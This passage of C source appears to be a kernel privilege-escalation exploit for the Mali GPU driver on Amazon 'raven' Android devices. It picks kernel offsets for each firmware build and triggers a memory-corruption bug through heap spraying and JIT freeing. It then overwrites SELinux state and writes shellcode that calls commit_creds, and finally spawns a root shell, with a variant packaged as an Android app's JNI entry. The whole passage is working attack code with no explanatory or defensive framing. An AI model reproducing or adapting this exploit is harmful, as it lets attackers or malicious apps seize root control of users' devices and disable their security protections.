selinux_enforcing = SELINUX_ENFORCING_7204_1044;
sel_read_handle_unknown = SEL_READ_HANDLE_UNKNOWN_7204_1044;
fixup_root_shell(INIT_CRED_7204_1044, COMMIT_CREDS_7204_1044, SEL_READ_HANDLE_UNKNOWN_7204_1044, ADD_INIT_7204_1044, ADD_COMMIT_7204_1044);
return;
}
if (!strcmp(fingerprint, "Amazon/raven/raven:7.0/PS7204/1046N:user/amz-p,release-keys")) {
selinux_enforcing = SELINUX_ENFORCING_7204_1046;
sel_read_handle_unknown = SEL_READ_HANDLE_UNKNOWN_7204_1046;
fixup_root_shell(INIT_CRED_7204_1046, COMMIT_CREDS_7204_1046, SEL_READ_HANDLE_UNKNOWN_7204_1046, ADD_INIT_7204_1046, ADD_COMMIT_7204_1046);
return;
}
if (!strcmp(fingerprint, "Amazon/raven/raven:7.0/PS7206/1098N:user/amz-p,release-keys")) {
selinux_enforcing = SELINUX_ENFORCING_7206_1098;
sel_read_handle_unknown = SEL_READ_HANDLE_UNKNOWN_7206_1098;
fixup_root_shell(INIT_CRED_7206_1098, COMMIT_CREDS_7206_1098, SEL_READ_HANDLE_UNKNOWN_7206_1098, ADD_INIT_7206_1098, ADD_COMMIT_7206_1098);
return;
}
if (!strcmp(fingerprint, "Amazon/raven/raven:7.0/PS7212/1333N:user/amz-p,release-keys")) {
selinux_enforcing = SELINUX_ENFORCING_7212_1333;
sel_read_handle_unknown = SEL_READ_HANDLE_UNKNOWN_7212_1333;
fixup_root_shell(INIT_CRED_7212_1333, COMMIT_CREDS_7212_1333, SEL_READ_HANDLE_UNKNOWN_7212_1333, ADD_INIT_7212_1333, ADD_COMMIT_7212_1333);
return;
}
if (!strcmp(fingerprint, "Amazon/raven/raven:7.0/PS7212/1335N:user/amz-p,release-keys")) {
selinux_enforcing = SELINUX_ENFORCING_7212_1335;
sel_read_handle_unknown = SEL_READ_HANDLE_UNKNOWN_7212_1335;
fixup_root_shell(INIT_CRED_7212_1335, COMMIT_CREDS_7212_1335, SEL_READ_HANDLE_UNKNOWN_7212_1335, ADD_INIT_7212_1335, ADD_COMMIT_7212_1335);
return;
}
if (!strcmp(fingerprint, "Amazon/raven/raven:7.0/PS7216/1582N:user/amz-p,release-keys")) {
selinux_enforcing = SELINUX_ENFORCING_7216_1582;
sel_read_handle_unknown = SEL_READ_HANDLE_UNKNOWN_7216_1582;
fixup_root_shell(INIT_CRED_7216_1582, COMMIT_CREDS_7216_1582, SEL_READ_HANDLE_UNKNOWN_7216_1582, ADD_INIT_7216_1582, ADD_COMMIT_7216_1582);
return;
}
if (!strcmp(fingerprint, "Amazon/raven/raven:7.0/PS7224/1752N:user/amz-p,release-keys")) {
selinux_enforcing = SELINUX_ENFORCING_7224_1752;
sel_read_handle_unknown = SEL_READ_HANDLE_UNKNOWN_7224_1752;
fixup_root_shell(INIT_CRED_7224_1752, COMMIT_CREDS_7224_1752, SEL_READ_HANDLE_UNKNOWN_7224_1752, ADD_INIT_7224_1752, ADD_COMMIT_7224_1752);
return;
}
if (!strcmp(fingerprint, "Amazon/raven/raven:7.0/PS7229/1850N:user/amz-p,release-keys")) {
selinux_enforcing = SELINUX_ENFORCING_7229_1850;
sel_read_handle_unknown = SEL_READ_HANDLE_UNKNOWN_7229_1850;
fixup_root_shell(INIT_CRED_7229_1850, COMMIT_CREDS_7229_1850, SEL_READ_HANDLE_UNKNOWN_7229_1850, ADD_INIT_7229_1850, ADD_COMMIT_7229_1850);
return;
}
if (!strcmp(fingerprint, "Amazon/raven/raven:7.0/PS7229/1853N:user/amz-p,release-keys")) {
selinux_enforcing = SELINUX_ENFORCING_7229_1853;
sel_read_handle_unknown = SEL_READ_HANDLE_UNKNOWN_7229_1853;
fixup_root_shell(INIT_CRED_7229_1853, COMMIT_CREDS_7229_1853, SEL_READ_HANDLE_UNKNOWN_7229_1853, ADD_INIT_7229_1853, ADD_COMMIT_7229_1853);
return;
}
if (!strcmp(fingerprint, "Amazon/raven/raven:7.0/PS7229/1856N:user/amz-p,release-keys")) {
selinux_enforcing = SELINUX_ENFORCING_7229_1856;
sel_read_handle_unknown = SEL_READ_HANDLE_UNKNOWN_7229_1856;
fixup_root_shell(INIT_CRED_7229_1856, COMMIT_CREDS_7229_1856, SEL_READ_HANDLE_UNKNOWN_7229_1856, ADD_INIT_7229_1856, ADD_COMMIT_7229_1856);
return;
}
if (!strcmp(fingerprint, "Amazon/raven/raven:7.0/PS7234/2039N:user/amz-p,release-keys")) {
selinux_enforcing = SELINUX_ENFORCING_7234_2039;
sel_read_handle_unknown = SEL_READ_HANDLE_UNKNOWN_7234_2039;
fixup_root_shell(INIT_CRED_7234_2039, COMMIT_CREDS_7234_2039, SEL_READ_HANDLE_UNKNOWN_7234_2039, ADD_INIT_7234_2039, ADD_COMMIT_7234_2039);
return;
}
if (!strcmp(fingerprint, "Amazon/raven/raven:7.0/PS7234/2042N:user/amz-p,release-keys")) {
selinux_enforcing = SELINUX_ENFORCING_7234_2042;
sel_read_handle_unknown = SEL_READ_HANDLE_UNKNOWN_7234_2042;
fixup_root_shell(INIT_CRED_7234_2042, COMMIT_CREDS_7234_2042, SEL_READ_HANDLE_UNKNOWN_7234_2042, ADD_INIT_7234_2042, ADD_COMMIT_7234_2042);
return;
}
if (!strcmp(fingerprint, "Amazon/raven/raven:7.0/PS7242/2216N:user/amz-p,release-keys")) {
selinux_enforcing = SELINUX_ENFORCING_7242_2216;
sel_read_handle_unknown = SEL_READ_HANDLE_UNKNOWN_7242_2216;
fixup_root_shell(INIT_CRED_7242_2216, COMMIT_CREDS_7242_2216, SEL_READ_HANDLE_UNKNOWN_7242_2216, ADD_INIT_7242_2216, ADD_COMMIT_7242_2216);
return;
}
if (!strcmp(fingerprint, "Amazon/raven/raven:7.0/PS7242/2896N:user/amz-p,release-keys")) {
selinux_enforcing = SELINUX_ENFORCING_7242_2896;
sel_read_handle_unknown = SEL_READ_HANDLE_UNKNOWN_7242_2896;
fixup_root_shell(INIT_CRED_7242_2896, COMMIT_CREDS_7242_2896, SEL_READ_HANDLE_UNKNOWN_7242_2896, ADD_INIT_7242_2896, ADD_COMMIT_7242_2896);
return;
}
if (!strcmp(fingerprint, "Amazon/raven/raven:7.0/PS7242/2906N:user/amz-p,release-keys")) {
selinux_enforcing = SELINUX_ENFORCING_7242_2906;
sel_read_handle_unknown = SEL_READ_HANDLE_UNKNOWN_7242_2906;
fixup_root_shell(INIT_CRED_7242_2906, COMMIT_CREDS_7242_2906, SEL_READ_HANDLE_UNKNOWN_7242_2906, ADD_INIT_7242_2906, ADD_COMMIT_7242_2906);
return;
}
if (!strcmp(fingerprint, "Amazon/raven/raven:7.0/PS7242/3515N:user/amz-p,release-keys")) {
selinux_enforcing = SELINUX_ENFORCING_7242_3515;
sel_read_handle_unknown = SEL_READ_HANDLE_UNKNOWN_7242_3515;
fixup_root_shell(INIT_CRED_7242_3515, COMMIT_CREDS_7242_3515, SEL_READ_HANDLE_UNKNOWN_7242_3515, ADD_INIT_7242_3515, ADD_COMMIT_7242_3515);
return;
}
if (!strcmp(fingerprint, "Amazon/raven/raven:7.0/PS7242/3516N:user/amz-p,release-keys")) {
selinux_enforcing = SELINUX_ENFORCING_7242_3516;
sel_read_handle_unknown = SEL_READ_HANDLE_UNKNOWN_7242_3516;
fixup_root_shell(INIT_CRED_7242_3516, COMMIT_CREDS_7242_3516, SEL_READ_HANDLE_UNKNOWN_7242_3516, ADD_INIT_7242_3516, ADD_COMMIT_7242_3516);
return;
}
if (!strcmp(fingerprint, "Amazon/raven/raven:7.0/PS7273/2625N:user/amz-p,release-keys")) {
selinux_enforcing = SELINUX_ENFORCING_7273_2625;
sel_read_handle_unknown = SEL_READ_HANDLE_UNKNOWN_7273_2625;
fixup_root_shell(INIT_CRED_7273_2625, COMMIT_CREDS_7273_2625, SEL_READ_HANDLE_UNKNOWN_7273_2625, ADD_INIT_7273_2625, ADD_COMMIT_7273_2625);
return;
}
if (!strcmp(fingerprint, "Amazon/raven/raven:9/PS7279.2766N/0023253929472:user/amz-p,release-keys")) {
selinux_enforcing = SELINUX_ENFORCING_7279_2766;
sel_read_handle_unknown = SEL_READ_HANDLE_UNKNOWN_7279_2766;
fixup_root_shell(INIT_CRED_7279_2766, COMMIT_CREDS_7279_2766, SEL_READ_HANDLE_UNKNOWN_7279_2766, ADD_INIT_7279_2766, ADD_COMMIT_7279_2766);
return;
}
if (!strcmp(fingerprint, "Amazon/raven/raven:9/PS7285.2877N/0023723719936:user/amz-p,release-keys")) {
selinux_enforcing = SELINUX_ENFORCING_7285_2877;
sel_read_handle_unknown = SEL_READ_HANDLE_UNKNOWN_7285_2877;
fixup_root_shell(INIT_CRED_7285_2877, COMMIT_CREDS_7285_2877, SEL_READ_HANDLE_UNKNOWN_7285_2877, ADD_INIT_7285_2877, ADD_COMMIT_7285_2877);
return;
}
if (!strcmp(fingerprint, "Amazon/raven/raven:9/PS7285.2880N/0023723720704:user/amz-p,release-keys")) {
selinux_enforcing = SELINUX_ENFORCING_7285_2880;
sel_read_handle_unknown = SEL_READ_HANDLE_UNKNOWN_7285_2880;
fixup_root_shell(INIT_CRED_7285_2880, COMMIT_CREDS_7285_2880, SEL_READ_HANDLE_UNKNOWN_7285_2880, ADD_INIT_7285_2880, ADD_COMMIT_7285_2880);
return;
}
if (!strcmp(fingerprint, "Amazon/raven/raven:9/PS7292.2982N/0024126400000:user/amz-p,release-keys")) {
selinux_enforcing = SELINUX_ENFORCING_7292_2982;
sel_read_handle_unknown = SEL_READ_HANDLE_UNKNOWN_7292_2982;
fixup_root_shell(INIT_CRED_7292_2982, COMMIT_CREDS_7292_2982, SEL_READ_HANDLE_UNKNOWN_7292_2982, ADD_INIT_7292_2982, ADD_COMMIT_7292_2982);
return;
}
if (!strcmp(fingerprint, "Amazon/raven/raven:9/PS7292.2984N/0024126400512:user/amz-p,release-keys")) {
selinux_enforcing = SELINUX_ENFORCING_7292_2984;
sel_read_handle_unknown = SEL_READ_HANDLE_UNKNOWN_7292_2984;
fixup_root_shell(INIT_CRED_7292_2984, COMMIT_CREDS_7292_2984, SEL_READ_HANDLE_UNKNOWN_7292_2984, ADD_INIT_7292_2984, ADD_COMMIT_7292_2984);
return;
}
if (!strcmp(fingerprint, "Amazon/raven/raven:9/PS7603.3110N/0025065956864:user/amz-p,release-keys")) {
selinux_enforcing = SELINUX_ENFORCING_7603_3110;
sel_read_handle_unknown = SEL_READ_HANDLE_UNKNOWN_7603_3110;
fixup_root_shell(INIT_CRED_7603_3110, COMMIT_CREDS_7603_3110, SEL_READ_HANDLE_UNKNOWN_7603_3110, ADD_INIT_7603_3110, ADD_COMMIT_7603_3110);
return;
}
if (!strcmp(fingerprint, "Amazon/raven/raven:9/PS7608.3614N/0025468739072:user/amz-p,release-keys")) {
selinux_enforcing = SELINUX_ENFORCING_7608_3614;
sel_read_handle_unknown = SEL_READ_HANDLE_UNKNOWN_7608_3614;
fixup_root_shell(INIT_CRED_7608_3614, COMMIT_CREDS_7608_3614, SEL_READ_HANDLE_UNKNOWN_7608_3614, ADD_INIT_7608_3614, ADD_COMMIT_7608_3614);
return;
}
if (!strcmp(fingerprint, "Amazon/raven/raven:9/PS7614.3227N/0025938402048:user/amz-p,release-keys")) {
selinux_enforcing = SELINUX_ENFORCING_7614_3227;
sel_read_handle_unknown = SEL_READ_HANDLE_UNKNOWN_7614_3227;
fixup_root_shell(INIT_CRED_7614_3227, COMMIT_CREDS_7614_3227, SEL_READ_HANDLE_UNKNOWN_7614_3227, ADD_INIT_7614_3227, ADD_COMMIT_7614_3227);
return;
}
if (!strcmp(fingerprint, "Amazon/raven/raven:9/PS7624.3337N/0026810845440:user/amz-p,release-keys")) {
selinux_enforcing = SELINUX_ENFORCING_7624_3337;
sel_read_handle_unknown = SEL_READ_HANDLE_UNKNOWN_7624_3337;
fixup_root_shell(INIT_CRED_7624_3337, COMMIT_CREDS_7624_3337, SEL_READ_HANDLE_UNKNOWN_7624_3337, ADD_INIT_7624_3337, ADD_COMMIT_7624_3337);
return;
}
if (!strcmp(fingerprint, "Amazon/raven/raven:9/PS7633.3445N/0027347744000:user/amz-p,release-keys")) {
selinux_enforcing = SELINUX_ENFORCING_7633_3445;
sel_read_handle_unknown = SEL_READ_HANDLE_UNKNOWN_7633_3445;
fixup_root_shell(INIT_CRED_7633_3445, COMMIT_CREDS_7633_3445, SEL_READ_HANDLE_UNKNOWN_7633_3445, ADD_INIT_7633_3445, ADD_COMMIT_7633_3445);
return;
}
err(1, "unable to match build id\n");
}
void cleanup(int mali_fd, uint64_t pgd) {
write_to(mali_fd, pgd + OVERWRITE_INDEX * sizeof(uint64_t), 2, atom_number++, MALI_WRITE_VALUE_TYPE_IMMEDIATE_64);
}
void write_selinux(int mali_fd, int mali_fd2, uint64_t pgd, uint64_t* reserved) {
uint64_t selinux_enforcing_addr = (((selinux_enforcing + KERNEL_BASE) >> PAGE_SHIFT) << PAGE_SHIFT)| 0x443;
write_to(mali_fd, pgd + OVERWRITE_INDEX * sizeof(uint64_t), selinux_enforcing_addr, atom_number++, MALI_WRITE_VALUE_TYPE_IMMEDIATE_64);
usleep(100000);
//Go through the reserve pages addresses to write to avc_denied with our own shellcode
write_data(mali_fd2, selinux_enforcing, reserved, TOTAL_RESERVED_SIZE/RESERVED_SIZE, 0, MALI_WRITE_VALUE_TYPE_IMMEDIATE_32);
}
void write_shellcode(int mali_fd, int mali_fd2, uint64_t pgd, uint64_t* reserved) {
/*
uint64_t avc_deny_addr = (((avc_deny + KERNEL_BASE) >> PAGE_SHIFT) << PAGE_SHIFT)| 0x443;
write_to(mali_fd, pgd + OVERWRITE_INDEX * sizeof(uint64_t), avc_deny_addr, atom_number++, MALI_WRITE_VALUE_TYPE_IMMEDIATE_64);
usleep(100000);
//Go through the reserve pages addresses to write to avc_denied with our own shellcode
write_func(mali_fd2, avc_deny, reserved, TOTAL_RESERVED_SIZE/RESERVED_SIZE, &(permissive[0]), sizeof(permissive)/sizeof(uint32_t));
//Triggers avc_denied to disable SELinux
open("/dev/kmsg", O_RDONLY);
*/
uint64_t sel_read_handle_unknown_addr = (((sel_read_handle_unknown + KERNEL_BASE) >> PAGE_SHIFT) << PAGE_SHIFT)| 0x443;
write_to(mali_fd, pgd + OVERWRITE_INDEX * sizeof(uint64_t), sel_read_handle_unknown_addr, atom_number++, MALI_WRITE_VALUE_TYPE_IMMEDIATE_64);
//Call commit_creds to overwrite process credentials to gain root
write_func(mali_fd2, sel_read_handle_unknown, reserved, TOTAL_RESERVED_SIZE/RESERVED_SIZE, &(root_code[0]), sizeof(root_code)/sizeof(uint32_t));
}
void spray(int mali_fd) {
for (int j = 0; j < SPRAY_NUM; j++) {
union kbase_ioctl_mem_alloc alloc = {0};
alloc.in.flags = BASE_MEM_PROT_CPU_RD | BASE_MEM_PROT_GPU_RD | BASE_MEM_PROT_CPU_WR; // | (1 << 22);
alloc.in.va_pages = SPRAY_PAGES;
alloc.in.commit_pages = 0;
mem_alloc(mali_fd, &alloc);
gpu_va[j] = alloc.out.gpu_va;
}
for (int j = 0; j < SPRAY_NUM; j++) {
mem_commit(mali_fd, gpu_va[j], SPRAY_PAGES);
}
for (int j = 0; j < SPRAY_NUM; j++) {
void* region = mmap64(NULL, 0x1000 * SPRAY_PAGES, PROT_READ | PROT_WRITE, MAP_SHARED, mali_fd, gpu_va[j]);
if (region == MAP_FAILED) {
err(1, "spray region mmap failed %d\n", j);
}
gpu_regions[j] = region;
}
}
int trigger(int mali_fd, int mali_fd2, int* flush_idx) {
if (*flush_idx + NUM_TRIALS > FLUSH_REGION_SIZE) {
err(1, "Out of memory.");
}
uint64_t gpu_alloc_addr = map_gpu(mali_fd, 1, 1, false, 0);
void* gpu_alloc_region = mmap64(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mali_fd, gpu_alloc_addr);
if (gpu_alloc_region == MAP_FAILED) {
err(1, "gpu_alloc_region mmap failed");
}
uint64_t jit_pages = SPRAY_PAGES;
uint64_t jit_addr = jit_allocate(mali_fd, atom_number, jit_id, jit_pages, (uint64_t)gpu_alloc_addr, (uint64_t*)gpu_alloc_region);
atom_number++;
mem_flags_change(mali_fd, (uint64_t)jit_addr, BASE_MEM_DONT_NEED, 0);
for (int i = 0; i < NUM_TRIALS; i++) {
union kbase_ioctl_mem_query query = {0};
query.in.gpu_addr = jit_addr;
query.in.query = KBASE_MEM_QUERY_COMMIT_SIZE;
flush_regions[i] = flush(SPRAY_CPU, i + *flush_idx);
if (ioctl(mali_fd, KBASE_IOCTL_MEM_QUERY, &query) < 0) {
migrate_to_cpu(SPRAY_CPU);
spray(mali_fd);
LOG("region freed %d\n", i);
uint64_t alias_region = alias_sprayed_regions(mali_fd);
fault_pages();
LOG("cleanup flush region\n");
for (int r = 0; r < FLUSH_REGION_SIZE; r++) munmap(flush_regions[r], FLUSH_SIZE);
uint64_t drain = drain_mem_pool(mali_fd);
release_mem_pool(mali_fd, drain);
printf("release_mem_pool\n");
jit_free(mali_fd, atom_number, jit_id);
reserve_pages(mali_fd2, RESERVED_SIZE, TOTAL_RESERVED_SIZE/RESERVED_SIZE, &(reserved[0]));
LOG("jit_freed\n");
int freed_idx = find_freed_idx(mali_fd);
if (freed_idx == -1) err(1, "Failed to find freed_idx");
LOG("Found freed_idx %d\n", freed_idx);
int pgd_idx = find_pgd(freed_idx, 0);
if (pgd_idx == -1) err(1, "Failed to find pgd");
uint64_t pgd = alias_region + pgd_idx * 0x1000 + freed_idx * (SPRAY_PAGES * 0x1000);
LOG("Found pgd %d, %llx\n", pgd_idx, pgd);
atom_number++;
write_selinux(mali_fd, mali_fd2, pgd, &(reserved[0]));
write_shellcode(mali_fd, mali_fd2, pgd, &(reserved[0]));
run_enforce();
cleanup(mali_fd, pgd);
return 0;
}
}
LOG("failed, retry.\n");
jit_id++;
*flush_idx += NUM_TRIALS;
return -1;
}
#ifdef SHELL
int main() {
setbuf(stdout, NULL);
setbuf(stderr, NULL);
select_offset();
int mali_fd = open_dev(MALI);
setup_mali(mali_fd, 0);
void* tracking_page = setup_tracking_page(mali_fd);
jit_init(mali_fd, 0x1000, 100, 0);
int mali_fd2 = open_dev(MALI);
setup_mali(mali_fd2, 1);
setup_tracking_page(mali_fd2);
uint64_t drain = drain_mem_pool(mali_fd2);
release_mem_pool(mali_fd2, drain);
int flush_idx = 0;
for (int i = 0; i < 10; i++) {
if(!trigger(mali_fd, mali_fd2, &flush_idx)) {
system("sh");
break;
}
}
}
#else
#include <jni.h>
JNIEXPORT int JNICALL
Java_com_example_hellojni_MaliExpService_stringFromJNI( JNIEnv* env, jobject thiz)
{
setbuf(stdout, NULL);
setbuf(stderr, NULL);
select_offset();
int mali_fd = open_dev(MALI);
setup_mali(mali_fd, 0);
void* tracking_page = setup_tracking_page(mali_fd);
jit_init(mali_fd, 0x1000, 100, 0);
int mali_fd2 = open_dev(MALI);
setup_mali(mali_fd2, 1);
setup_tracking_page(mali_fd2);
int flush_idx = 0;
for (int i = 0; i < 10; i++) {
if(!trigger(mali_fd, mali_fd2, &flush_idx)) {
LOG("uid: %d euid %d", getuid(), geteuid());
return 0;
}
}
return -1;
}
#endif